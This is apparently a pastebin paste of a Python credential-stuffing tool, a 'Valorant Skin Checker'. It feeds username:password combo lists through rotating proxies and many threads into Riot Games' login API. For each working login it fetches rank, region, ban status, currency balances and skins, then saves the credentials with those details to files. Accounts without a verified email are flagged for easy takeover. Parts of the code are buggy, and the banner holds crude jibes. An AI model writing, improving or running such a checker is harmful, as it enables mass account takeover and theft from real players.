Untitled


SUBMITTED BY: Guest

DATE: July 26, 2022, 12:58 p.m.

FORMAT: Text only

SIZE: 28.9 kB

HITS: 447

  1. from concurrent.futures import thread
  2. from pyexpat.errors import messages
  3. from requests import session as sesh
  4. import requests
  5. from requests.adapters import HTTPAdapter
  6. from ssl import PROTOCOL_TLSv1_2
  7. from urllib3 import PoolManager
  8. from tkinter import *
  9. from collections import OrderedDict
  10. import threading
  11. from re import compile
  12. from cryptocode import decrypt
  13. import ctypes
  14. from tkinter import filedialog, messagebox
  15. import os
  16. import tkinter
  17. import time
  18. import random
  19. from colorama import Fore
  20. import datetime
  21. import pandas
  22. from datetime import datetime
  23. from threading import Thread, Lock
  24. import subprocess
  25. global usernames, passwords, proxylist
  26. usernames = []
  27. passwords = []
  28. proxylist = []
  29. good, bad, cpm1, cpm2, checked, banned, errors = 0, 0, 0, 0, 0, 0, 0
  30. root = tkinter.Tk()
  31. root.withdraw()
  32. white = Fore.WHITE
  33. eu = 0
  34. na = 0
  35. br = 0
  36. kr = 0
  37. latam = 0
  38. ap = 0
  39. verified = 0
  40. trueverified = 0
  41. ratelimit = 0
  42. unranked = 0
  43. iron = 0
  44. bronze = 0
  45. silver = 0
  46. gold = 0
  47. platinum = 0
  48. diamond = 0
  49. ascendant = 0
  50. immortal = 0
  51. radiant = 0
  52. _1_9 = 0
  53. _10_19 = 0
  54. _20_29 = 0
  55. _30_39 = 0
  56. _40_49 = 0
  57. _50_99 = 0
  58. _100_150 = 0
  59. _151 = 0
  60. skinned = 0
  61. no_skins = 0
  62. lock = Lock()
  63. class TLSAdapter(HTTPAdapter):
  64. def init_poolmanager(self, connections, maxsize, block=False):
  65. self.poolmanager = PoolManager(num_pools=connections, maxsize=maxsize, block=block, ssl_version=PROTOCOL_TLSv1_2)
  66. def center(var:str, space:int=None):
  67. if not space:
  68. space = (os.get_terminal_size().columns - len(var.splitlines()[int(len(var.splitlines())/2)])) / 2
  69. return "\n".join((' ' * int(space)) + var for var in var.splitlines())
  70. num = 0
  71. def load_combos():
  72. global usernames, passwords
  73. gui()
  74. print()
  75. input("Press ENTER to select combos")
  76. fileNameCombo = filedialog.askopenfile(parent=root, mode='rb', title='Choose a combo file',
  77. filetype=(("txt", "*.txt"), ("All files", "*.txt")))
  78. if fileNameCombo is None:
  79. print()
  80. print("Please select valid combo file")
  81. time.sleep(2)
  82. else:
  83. try:
  84. with open(fileNameCombo.name, 'r+', encoding='utf-8') as e:
  85. ext = e.readlines()
  86. for line in ext:
  87. try:
  88. username = line.split(":")[0].replace('\n', '')
  89. password = line.split(":")[1].replace('\n', '')
  90. usernames.append(username)
  91. passwords.append(password)
  92. num = num + 1
  93. except:
  94. pass
  95. print("Loaded [{}] combos lines ".format(len(usernames)))
  96. time.sleep(2)
  97. except Exception:
  98. print("Your combo file is probably harmed, please try again")
  99. time.sleep(2)
  100. num2 = 0
  101. def load_proxies():
  102. global proxylist
  103. input("Press ENTER to select proxies..")
  104. fileNameProxy = filedialog.askopenfile(parent=root, mode='rb', title='Choose a proxy file',
  105. filetype=(("txt", "*.txt"), ("All files", "*.txt")))
  106. if fileNameProxy is None:
  107. print()
  108. print("Please select valid proxy file")
  109. time.sleep(2)
  110. else:
  111. try:
  112. with open(fileNameProxy.name, 'r+', encoding='utf-8', errors='ignore') as e:
  113. ext = e.readlines()
  114. for line in ext:
  115. try:
  116. proxyline = line.split()[0].replace('\n', '')
  117. proxylist.append(proxyline)
  118. num2 += 1
  119. except:
  120. pass
  121. print("Loaded [{}] proxies lines".format(len(proxylist)))
  122. time.sleep(2)
  123. except Exception:
  124. print("failed to open")
  125. kekeds = 0
  126. errors = 0
  127. data = ""
  128. proxy_error = 0
  129. def checker(username, password, proxylist, proxy_type):
  130. os.system("cls")
  131. howmanyacounts = len(usernames)
  132. global skinned, no_skins, proxy_error, kekeds, bad, good, cpm1, cpm2, banned, errors, data, eu, na, br, kr, latam, ap, verified, trueverified, ratelimit, unranked, iron, bronze, silver, gold, platinum, diamond, ascendant, immortal, radiant, _1_9, _10_19, _20_29, _30_39, _40_49, _50_99, _100_150, _151
  133. cpm2 = cpm1
  134. cpm1 = 0
  135. text = '''
  136. ██▒ █▓ ▄▄▄ ██▓ ▒█████ ██▀███ ▄▄▄ ███▄ █ ▄▄▄█████▓▓██ ██▓
  137. ▓██░ █▒▒████▄ ▓██▒ ▒██▒ ██▒▓██ ▒ ██▒▒████▄ ██ ▀█ █ ▓ ██▒ ▓▒ ▒██ ██▒
  138. ▓██ █▒░▒██ ▀█▄ ▒██░ ▒██░ ██▒▓██ ░▄█ ▒▒██ ▀█▄ ▓██ ▀█ ██▒▒ ▓██░ ▒░ ▒██ ██░
  139. ▒██ █░░░██▄▄▄▄██ ▒██░ ▒██ ██░▒██▀▀█▄ ░██▄▄▄▄██ ▓██▒ ▐▌██▒░ ▓██▓ ░ ░ ▐██▓░
  140. ▒▀█░ ▓█ ▓██▒░██████▒░ ████▓▒░░██▓ ▒██▒ ▓█ ▓██▒▒██░ ▓██░ ▒██▒ ░ ░ ██▒▓░
  141. ░ ▐░ ▒▒ ▓▒█░░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ▒░ ▒ ▒ ▒ ░░ ██▒▒▒
  142. ░ ░░ ▒ ▒▒ ░░ ░ ▒ ░ ░ ▒ ▒░ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░░ ░ ▒░ ░ ▓██ ░▒░
  143. ░░ ░ ▒ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ▒ ░ ░ ░ ░ ▒ ▒ ░░
  144. ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
  145. ░ ░ ░ '''
  146. faded = ''
  147. red = 40
  148. for line in text.splitlines():
  149. faded += (f"\033[38;2;{red};0;220m{line}\033[0m\n")
  150. if not red == 255:
  151. red += 15
  152. if red > 255:
  153. red = 255
  154. print((faded))
  155. r = {Fore.RED}
  156. print(f"{white}{r} Github.com/xharky{white} Accounts: {Fore.LIGHTGREEN_EX}{howmanyacounts}{white} ")
  157. print(f"\n{white} ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
  158. print(f"{white} - Checked >>:({Fore.LIGHTYELLOW_EX}{kekeds}/{len(usernames)}{white})")
  159. print(f"{white} - Valid >>:({Fore.LIGHTGREEN_EX}{good}{white})")
  160. print(f"{white} - Invalid >>:({Fore.LIGHTRED_EX}{banned}{white})")
  161. print(f"{white} - Bad Combo >>:({Fore.RED}{bad}{white})")
  162. print(f"{white} - Unverified >>:({Fore.LIGHTGREEN_EX}{verified}{white})")
  163. print(f"{white} - Verified >>:({Fore.LIGHTRED_EX}{trueverified}{white})")
  164. print(f"{white} - Errors >>:({Fore.LIGHTRED_EX}{errors}{white})")
  165. print(f"{white} - Ratelimits >>:({Fore.LIGHTRED_EX}{ratelimit}{white})")
  166. print(f"{white} - Proxy error >>:({Fore.LIGHTRED_EX}{proxy_error}{white})")
  167. print(f"{white} ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
  168. print(f"{white} - Skinned >>:({Fore.LIGHTGREEN_EX}{skinned}{white})")
  169. print(f"{white} - No Skins >>:({Fore.LIGHTRED_EX}{no_skins}{white})")
  170. print(f"{white} ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
  171. print(f"{white} - 1-9 >>:({Fore.CYAN}{_1_9}{white})")
  172. print(f"{white} - 10-19 >>:({Fore.CYAN}{_10_19}{white})")
  173. print(f"{white} - 20-29 >>:({Fore.CYAN}{_20_29}{white})")
  174. print(f"{white} - 30-39 >>:({Fore.CYAN}{_30_39}{white})")
  175. print(f"{white} - 40-49 >>:({Fore.CYAN}{_40_49}{white})")
  176. print(f"{white} - 50-99 >>:({Fore.CYAN}{_50_99}{white})")
  177. print(f"{white} - 100-150 >>:({Fore.CYAN}{_100_150}{white})")
  178. print(f"{white} - 151+ >>:({Fore.CYAN}{_151}{white})")
  179. print(f"{white} ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
  180. print(f"{white} - Unranked >>:({Fore.CYAN}{unranked}{white})")
  181. print(f"{white} - Iron >>:({Fore.CYAN}{iron}{white})")
  182. print(f"{white} - Bronze >>:({Fore.CYAN}{bronze}{white})")
  183. print(f"{white} - Silver >>:({Fore.CYAN}{silver}{white})")
  184. print(f"{white} - Gold >>:({Fore.CYAN}{gold}{white})")
  185. print(f"{white} - Platium >>:({Fore.CYAN}{platinum}{white})")
  186. print(f"{white} - Diamond >>:({Fore.CYAN}{diamond}{white})")
  187. print(f"{white} - Ascendant >>:({Fore.CYAN}{ascendant}{white})")
  188. print(f"{white} - Immortal >>:({Fore.CYAN}{immortal}{white})")
  189. print(f"{white} - Radiant >>:({Fore.CYAN}{radiant}{white})")
  190. print(f"{white} ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
  191. print(f"{white} - EU >>:({Fore.CYAN}{eu}{white})")
  192. print(f"{white} - NA >>:({Fore.CYAN}{na}{white})")
  193. print(f"{white} - AP >>:({Fore.CYAN}{ap}{white})")
  194. print(f"{white} - BR >>:({Fore.CYAN}{br}{white})")
  195. print(f"{white} - KR >>:({Fore.CYAN}{kr}{white})")
  196. print(f"{white} - LATAM >>:({Fore.CYAN}{latam}{white})")
  197. headers = OrderedDict({
  198. "Accept-Language": "en-US,en;q=0.9",
  199. "Accept": "application/json, text/plain, */*",
  200. 'User-Agent': 'RiotClient/51.0.0.4429735.4381201 rso-auth (Windows;10;;Professional, x64)'
  201. })
  202. session = sesh()
  203. session.headers = headers
  204. session.mount('https://', TLSAdapter())
  205. if proxy_type == "https":
  206. proxy_to_use = random.choice(proxylist)
  207. try:
  208. x = proxy_to_use.split(":")
  209. if len(x) == 2:
  210. proxies = {'http': f'http://{proxy_to_use}', 'https': f'https://{proxy_to_use}'}
  211. session.proxies = proxies
  212. elif len(x) == 4:
  213. proxies = {'http': f'http://{proxy_to_use[2]}:{proxy_to_use[3]}@{proxy_to_use[0]}:{proxy_to_use[1]}', 'https': f'https://{proxy_to_use[2]}:{proxy_to_use[3]}@{proxy_to_use[0]}:{proxy_to_use[1]}'}
  214. session.proxies = proxies
  215. else:
  216. pass
  217. except Exception:
  218. pass
  219. elif proxy_type == "socks4":
  220. try:
  221. x = proxy_to_use.split(":")
  222. if len(x) == 2:
  223. proxies = {'http': f'socks4://{proxy_to_use}'}
  224. session.proxies = proxies
  225. elif len(x) == 4:
  226. proxies = {'http': f'socks4://{proxy_to_use[2]}:{proxy_to_use[3]}@{proxy_to_use[0]}:{proxy_to_use[1]}'}
  227. session.proxies = proxies
  228. else:
  229. pass
  230. except Exception:
  231. pass
  232. elif proxy_type == "socks5":
  233. try:
  234. x = proxy_to_use.split(":")
  235. if len(x) == 2:
  236. proxies = {'http': f'socks5://{proxy_to_use}'}
  237. session.proxies = proxies
  238. elif len(x) == 4:
  239. proxies = {'http': f'socks5://{proxy_to_use[2]}:{proxy_to_use[3]}@{proxy_to_use[0]}:{proxy_to_use[1]}'}
  240. session.proxies = proxies
  241. else:
  242. pass
  243. except Exception:
  244. pass
  245. else:
  246. pass
  247. data = {
  248. "acr_values": "urn:riot:bronze",
  249. "claims": "",
  250. "client_id": "riot-client",
  251. "nonce": "oYnVwCSrlS5IHKh7iI16oQ",
  252. "redirect_uri": "http://localhost/redirect",
  253. "response_type": "token id_token",
  254. "scope": "openid link ban lol_region",
  255. }
  256. headers = {
  257. 'Content-Type': 'application/json',
  258. 'User-Agent': 'RiotClient/51.0.0.4429735.4381201 rso-auth (Windows;10;;Professional, x64)',
  259. }
  260. try:
  261. r = session.post(f'https://auth.riotgames.com/api/v1/authorization', json=data, headers=headers,proxies={"http":"http://"+proxies+"/","https":"https://"+proxies+"/"},timeout=5)
  262. except:
  263. proxy_error += 1
  264. return
  265. data = {
  266. 'type': 'auth',
  267. 'username': username,
  268. 'password': password
  269. }
  270. try:
  271. r2 = session.put('https://auth.riotgames.com/api/v1/authorization', json=data, headers=headers,proxies={"http":"http://"+proxies+"/","https":"https://"+proxies+"/"},timeout=5)
  272. proxy_error += 1
  273. data = r2.json()
  274. if "access_token" in r2.text:
  275. pattern = compile('access_token=((?:[a-zA-Z]|\d|\.|-|_)*).*id_token=((?:[a-zA-Z]|\d|\.|-|_)*).*expires_in=(\d*)')
  276. data = pattern.findall(data['response']['parameters']['uri'])[0]
  277. global token
  278. token = data[0]
  279. elif "auth_failure" in r2.text:
  280. banned = banned +1
  281. bad = bad+1
  282. cpm1 += 1
  283. kekeds = kekeds + 1
  284. return
  285. elif "rate_limited" in r2.text:
  286. ratelimit += 1
  287. return
  288. else:
  289. errors = errors+1
  290. except:
  291. proxy_error += 1
  292. return
  293. try:
  294. headers = {
  295. 'User-Agent': 'RiotClient/51.0.0.4429735.4381201 rso-auth (Windows;10;;Professional, x64)',
  296. 'Authorization': f'Bearer {token}',}
  297. r = session.post('https://auth.riotgames.com/userinfo', headers=headers, json={},proxies={"http":"http://"+proxies+"/","https":"https://"+proxies+"/"},timeout=5)
  298. data = r.json()
  299. GameName = r.text.split('game_name":"')[1].split('"')[0]
  300. Tag = r.text.split('tag_line":"')[1].split('"')[0]
  301. Sub = r.text.split('sub":"')[1].split('"')[0]
  302. puuid = data['sub']
  303. EmailVerified = r.text.split('email_verified":')[1].split('"')[0]
  304. if EmailVerified == "False":
  305. verified += 1
  306. if EmailVerified == "True":
  307. trueverified += 1
  308. data1 = data['acct']
  309. unix_time = data1['created_at']
  310. unix_time = int(unix_time)
  311. result_s = pandas.to_datetime(unix_time,unit='ms')
  312. typebanned = None
  313. result_s1 = None
  314. try:
  315. data2 = data['ban']
  316. data3 = data2['restrictions']
  317. for x in data3:
  318. typebanned = x['type']
  319. if typebanned == "PERMANENT_BAN":
  320. result_s1 = "Permantent"
  321. bannedtxt = open("results//idk.txt", "a+")
  322. bannedtxt.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n\n")
  323. bannedtxt.close()
  324. return
  325. else:
  326. typebanned = "Unbanned"
  327. except:
  328. bannedtxt2 = open("results//ban.txt", "a+")
  329. bannedtxt2.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: does not exist\n\n")
  330. bannedtxt2.close()
  331. return
  332. except:
  333. proxy_error += 1
  334. return
  335. try:
  336. r = session.post('https://entitlements.auth.riotgames.com/api/token/v1', headers=headers, json={},proxies={"http":"http://"+proxies+"/","https":"https://"+proxies+"/"},timeout=5)
  337. entitlement = r.json()['entitlements_token']
  338. except:
  339. proxy_error += 1
  340. return
  341. DefaultHeaders1 = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko","Pragma": "no-cache","Accept": "*/*","Content-Type": "application/json"}
  342. SkinStr = ""
  343. RankIDtoRank = {"0":"Unranked",
  344. "1":"Unused1",
  345. "2":"Unused2" ,
  346. "3":"Iron 1" ,
  347. "4":"Iron 2" ,
  348. "5":"Iron 3" ,
  349. "6":"Bronz 1" ,
  350. "7":"Bronz 2" ,
  351. "8":"Bronz 3" ,
  352. "9":"Silver 1" ,
  353. "10":"Silver 2",
  354. "11":"Silver 3" ,
  355. "12":"Gold 1" ,
  356. "13":"Gold 2" ,
  357. "14":"Gold 3" ,
  358. "15":"Platinum 1" ,
  359. "16":"Platinum 2" ,
  360. "17":"Plantinum 3" ,
  361. "18":"Diamond 1" ,
  362. "19":"Diamond 2" ,
  363. "20":"Diamond 3" ,
  364. "21":"Ascendant 1" ,
  365. "22":"Ascendant 2" ,
  366. "23":"Ascendant 3" ,
  367. "24":"Immortal 1" ,
  368. "25":"Immortal 2" ,
  369. "26":"Immortal 3" ,
  370. "27":"Radiant"}
  371. GetAccountRegion = requests.get(f"https://api.henrikdev.xyz/valorant/v1/account/{GameName}/{Tag}",headers=DefaultHeaders1)
  372. if "region" in GetAccountRegion.text:
  373. Region = GetAccountRegion.json()["data"]["region"]
  374. AccountLevel = GetAccountRegion.json()["data"]["account_level"]
  375. else:
  376. Region = "na"
  377. AccountLevel = "Unknow"
  378. Region = Region.lower()
  379. if Region == "eu":
  380. eu += 1
  381. elif Region == "na":
  382. na += 1
  383. elif Region == "kr":
  384. kr += 1
  385. elif Region == "ap":
  386. ap += 1
  387. elif Region == "latam":
  388. latam += 1
  389. elif Region == "br":
  390. br += 1
  391. PvpNetHeaders = {"Content-Type": "application/json","Authorization": f"Bearer {token}","X-Riot-Entitlements-JWT": entitlement,"X-Riot-ClientVersion": "release-01.08-shipping-10-471230","X-Riot-ClientPlatform": "ew0KCSJwbGF0Zm9ybVR5cGUiOiAiUEMiLA0KCSJwbGF0Zm9ybU9TIjogIldpbmRvd3MiLA0KCSJwbGF0Zm9ybU9TVmVyc2lvbiI6ICIxMC4wLjE5MDQyLjEuMjU2LjY0Yml0IiwNCgkicGxhdGZvcm1DaGlwc2V0IjogIlVua25vd24iDQp9"}
  392. try:
  393. CheckRanked = requests.get(f"https://pd.{Region}.a.pvp.net/mmr/v1/players/{puuid}/competitiveupdates",headers=PvpNetHeaders)
  394. if '","Matches":[]}' in CheckRanked.text:
  395. Rank = "UnRanked"
  396. else:
  397. RankID = CheckRanked.text.split('"TierAfterUpdate":')[1].split(',"')[0]
  398. Rank = RankIDtoRank[RankID]
  399. except:
  400. Rank = "Unknow"
  401. Rank = Rank.lower()
  402. if Rank == "unranked":
  403. unranked += 1
  404. if Rank == "iron":
  405. iron += 1
  406. if Rank == "silver":
  407. silver += 1
  408. if Rank == "gold":
  409. gold += 1
  410. if Rank == "platinum":
  411. platinum += 1
  412. if Rank == "diamond":
  413. diamond += 1
  414. if Rank == "ascendant":
  415. ascendant += 1
  416. if Rank == "immortal":
  417. immortal += 1
  418. if Rank == "radiant":
  419. radiant += 1
  420. try:
  421. GetPoints = requests.get(f"https://pd.{Region}.a.pvp.net/store/v1/wallet/{Sub}",headers=PvpNetHeaders)
  422. ValorantPoints = GetPoints.json()["Balances"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"]
  423. Radianite = GetPoints.json()["Balances"]["e59aa87c-4cbf-517a-5983-6e81511be9b7"]
  424. except:
  425. ValorantPoints = "UnKnow"
  426. Radianite = "UnKnow"
  427. heders ={
  428. "X-Riot-Entitlements-JWT": entitlement,
  429. "Authorization": f"Bearer {token}"
  430. }
  431. last_time = None
  432. try:
  433. r = requests.get(f"https://pd.{Region}.a.pvp.net/match-history/v1/history/{puuid}?startIndex=0&endIndex=10",headers=PvpNetHeaders)
  434. data = r.json()
  435. data2 = data["History"]
  436. for x in data2:
  437. data3 = x['GameStartTime']
  438. unix_time1 = data3
  439. unix_time1 = int(unix_time1)
  440. result_s2 = pandas.to_datetime(unix_time1,unit='ms')
  441. str(result_s2)
  442. last_time = result_s2
  443. except:
  444. errors += 1
  445. PvpNetHeaders = {"Content-Type": "application/json","Authorization": f"Bearer {token}","X-Riot-Entitlements-JWT": entitlement,"X-Riot-ClientVersion": "release-01.08-shipping-10-471230","X-Riot-ClientPlatform": "ew0KCSJwbGF0Zm9ybVR5cGUiOiAiUEMiLA0KCSJwbGF0Zm9ybU9TIjogIldpbmRvd3MiLA0KCSJwbGF0Zm9ybU9TVmVyc2lvbiI6ICIxMC4wLjE5MDQyLjEuMjU2LjY0Yml0IiwNCgkicGxhdGZvcm1DaGlwc2V0IjogIlVua25vd24iDQp9"}
  446. r = requests.get(f"https://pd.{Region}.a.pvp.net/store/v1/entitlements/{puuid}/e7c63390-eda7-46e0-bb7a-a6abdacd2433",headers=heders)
  447. response_API = requests.get('https://raw.githubusercontent.com/CSTCryst/Skin-Api/main/SkinList')
  448. response = response_API.text
  449. skinsList = response.splitlines()
  450. userSkins = []
  451. SkinStr = ""
  452. skins = r.json()["Entitlements"]
  453. for skin in skins:
  454. UidToSearch = skin['ItemID']
  455. for item in skinsList:
  456. details = item.split("|")
  457. namePart = details[0]
  458. idPart = details[1]
  459. name = namePart.split(":")[1]
  460. id = idPart.split(":")[0].lower()
  461. if id == UidToSearch:
  462. userSkins.append(name)
  463. SkinStr += "| " + name + "\n"
  464. skin_amount = len(userSkins)
  465. skin_amount = int(skin_amount)
  466. if skin_amount == 0:
  467. no_skins += 1
  468. if skin_amount in range(1, 9):
  469. _1_9 += 1
  470. skinned += 1
  471. if skin_amount in range(10, 19):
  472. _10_19 += 1
  473. skinned += 1
  474. if skin_amount in range(20, 29):
  475. _20_29 += 1
  476. skinned += 1
  477. if skin_amount in range(30, 39):
  478. _30_39 += 1
  479. skinned += 1
  480. if skin_amount in range(40, 49):
  481. _40_49 += 1
  482. skinned += 1
  483. if skin_amount in range(50, 99):
  484. _50_99 += 1
  485. skinned += 1
  486. if skin_amount in range(100, 150):
  487. _100_150 += 1
  488. skinned += 1
  489. if skin_amount in range(151,1000):
  490. _151 += 1
  491. skinned += 1
  492. if typebanned == "TIME_BAN":
  493. for y in data3:
  494. lol = y['dat']
  495. exeperationdate = lol['expirationMillis']
  496. unix_time1 = exeperationdate
  497. unix_time1 = int(unix_time1)
  498. result_s1 = pandas.to_datetime(unix_time1,unit='ms')
  499. str(result_s1)
  500. bannedtxt1 = open("results//timeban.txt", "a+")
  501. bannedtxt1.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Expire {result_s1}\n| Last Game: {last_time}\n| Region: {Region}\n| Level: {AccountLevel}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n| Rank: {Rank}\n| VP: {ValorantPoints} - RP: {Radianite}\n|-------------[Skins({len(userSkins)})]-------------]\n{SkinStr}[-------------------------------------]\n\n")
  502. bannedtxt1.close()
  503. return
  504. if Region == "eu":
  505. if typebanned == None:
  506. euwe = open("results//eu.txt", "a+")
  507. euwe.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Last Game: {last_time}\n| Region: {Region}\n| Level: {AccountLevel}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n| Rank: {Rank}\n| VP: {ValorantPoints} - RP: {Radianite}\n|-------------[Skins({len(userSkins)})]-------------]\n{SkinStr}[-------------------------------------]\n\n")
  508. euwe.close()
  509. else:
  510. return
  511. if Region == "na":
  512. if typebanned == None:
  513. naeuw = open("results//na.txt", "a+")
  514. naeuw.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Last Game: {last_time}\n| Region: {Region}\n| Level: {AccountLevel}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n| Rank: {Rank}\n| VP: {ValorantPoints} - RP: {Radianite}\n|-------------[Skins({len(userSkins)})]-------------]\n{SkinStr}[-------------------------------------]\n\n")
  515. naeuw.close()
  516. else:
  517. return
  518. if Region == "ap":
  519. if typebanned == None:
  520. SaveHits1 = open("results//ap.txt", "a+")
  521. SaveHits1.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Last Game: {last_time}\n| Region: {Region}\n| Level: {AccountLevel}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n| Rank: {Rank}\n| VP: {ValorantPoints} - RP: {Radianite}\n|-------------[Skins({len(userSkins)})]-------------]\n{SkinStr}[-------------------------------------]\n\n")
  522. SaveHits1.close()
  523. else:
  524. return
  525. if EmailVerified == "false":
  526. if typebanned == None:
  527. SaveHits2 = open("results//FA.txt", "a+")
  528. SaveHits2.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n|| Banntype: {typebanned}\n| Last Game: {last_time}\n| Region: {Region}\n| Level: {AccountLevel}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n| Rank: {Rank}\n| VP: {ValorantPoints} - RP: {Radianite}\n|-------------[Skins({len(userSkins)})]-------------]\n{SkinStr}[-------------------------------------]\n\n")
  529. SaveHits2.close()
  530. else:
  531. return
  532. SaveHits = open("results//All.txt", "a+")
  533. SaveHits.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Last Game: {last_time}\n| Region: {Region}\n| Level: {AccountLevel}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n| Rank: {Rank}\n| VP: {ValorantPoints} - RP: {Radianite}\n|-------------[Skins({len(userSkins)})]-------------]\n{SkinStr}[-------------------------------------]\n\n")
  534. SaveHits.close()
  535. def gui():
  536. os.system('cls')
  537. ctypes.windll.kernel32.SetConsoleTitleW(f'Valorant Skin Checker [V2]')
  538. text = '''
  539. ██▒ █▓ ▄▄▄ ██▓ ▒█████ ██▀███ ▄▄▄ ███▄ █ ▄▄▄█████▓▓██ ██▓
  540. ▓██░ █▒▒████▄ ▓██▒ ▒██▒ ██▒▓██ ▒ ██▒▒████▄ ██ ▀█ █ ▓ ██▒ ▓▒ ▒██ ██▒
  541. ▓██ █▒░▒██ ▀█▄ ▒██░ ▒██░ ██▒▓██ ░▄█ ▒▒██ ▀█▄ ▓██ ▀█ ██▒▒ ▓██░ ▒░ ▒██ ██░
  542. ▒██ █░░░██▄▄▄▄██ ▒██░ ▒██ ██░▒██▀▀█▄ ░██▄▄▄▄██ ▓██▒ ▐▌██▒░ ▓██▓ ░ ░ ▐██▓░
  543. ▒▀█░ ▓█ ▓██▒░██████▒░ ████▓▒░░██▓ ▒██▒ ▓█ ▓██▒▒██░ ▓██░ ▒██▒ ░ ░ ██▒▓░
  544. ░ ▐░ ▒▒ ▓▒█░░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ▒░ ▒ ▒ ▒ ░░ ██▒▒▒
  545. ░ ░░ ▒ ▒▒ ░░ ░ ▒ ░ ░ ▒ ▒░ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░░ ░ ▒░ ░ ▓██ ░▒░
  546. ░░ ░ ▒ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ▒ ░ ░ ░ ░ ▒ ▒ ░░
  547. ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
  548. ░ ░ ░ '''
  549. faded = ''
  550. red = 40
  551. for line in text.splitlines():
  552. faded += (f"\033[38;2;{red};0;220m{line}\033[0m\n")
  553. if not red == 255:
  554. red += 15
  555. if red > 255:
  556. red = 255
  557. print((faded))
  558. print((f'{Fore.LIGHTYELLOW_EX}\nGithub.com/xharky V3\n{Fore.RESET}'))
  559. def main():
  560. global usernames, passwords
  561. gui()
  562. usernames.clear()
  563. passwords.clear()
  564. load_combos()
  565. print("\n[1] Http/s\n[2] Socks4\n[3] Socks5")
  566. try:
  567. proxy_type = int(input(" "))
  568. except Exception:
  569. print("Invalid input")
  570. time.sleep(2)
  571. main()
  572. if proxy_type == 1:
  573. proxy_new = "https"
  574. elif proxy_type == 2:
  575. proxy_new = "socks4"
  576. elif proxy_type == 3:
  577. proxy_new == "socks5"
  578. else:
  579. print("Invalid input")
  580. time.sleep(2)
  581. load_proxies()
  582. print(f"{Fore.GREEN}How many threads do you want to use? [Max 1000]{white}")
  583. try:
  584. threads = int(input(f"{Fore.RED}[{white}>{Fore.RED}]{white}"))
  585. except Exception:
  586. print("Invalid input..")
  587. time.sleep(2)
  588. main()
  589. if threads > 1000:
  590. print("Maximum thread value is {}1000{}".format())
  591. time.sleep(2)
  592. main()
  593. os.system('cls')
  594. messages1 = ["cool you can install python mudules lol", "poggg...."," running checker xdd", "follow my on github or you like men github.com/xharky", "if you see this you gay", "give me money"]
  595. print(random.choice(messages1))
  596. time.sleep(1.5)
  597. if threading.active_count() < int(threads):
  598. try:
  599. for _ in range(int(threads)):
  600. for i in range(len(usernames)):
  601. t = threading.Thread(target=checker, args=(usernames[i], passwords[i],proxylist, proxy_type))
  602. t.start()
  603. t.join()
  604. except:
  605. print("Checked all.")
  606. time.sleep(5)
  607. print()
  608. input("Press any key to close checker.")
  609. main()

comments powered by Disqus